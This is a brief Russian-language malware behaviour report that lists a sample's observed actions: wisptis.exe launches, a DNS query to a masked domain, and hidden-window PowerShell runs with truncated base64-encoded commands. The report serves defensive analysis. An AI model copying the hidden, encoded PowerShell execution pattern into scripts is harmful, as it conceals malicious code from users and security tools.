Техническая информация
- '<SYSTEM32>\wisptis.exe' /ManualLaunch;
- DNS ASK re#####hfoundation.in
- '<SYSTEM32>\wisptis.exe' /ManualLaunch;' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -enco JABsAHkAZQBkAGQAZgBoAHoAPQAiAHcAcwBsAGQAcABjAGoAaQBoAHMAcgBkAG4AdABjAHMAaAAiADsACgAkAHMAeABnAHQAcABoACAAPQAgACIASABnAEEAaQBjAGYAYQBFACIAOwAKACQAeQBsAGwAZwBwAG4AZwBkAGwAbAB0AHUAYQA9ACIAaAB...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -enco JABsAHkAZQBkAGQAZgBoAHoAPQAiAHcAcwBsAGQAcABjAGoAaQBoAHMAcgBkAG4AdABjAHMAaAAiADsACgAkAHMAeABnAHQAcABoACAAPQAgACIASABnAEEAaQBjAGYAYQBFACIAOwAKACQAeQBsAGwAZwBwAG4AZwBkAGwAbAB0AHUAYQA9ACIAaAB...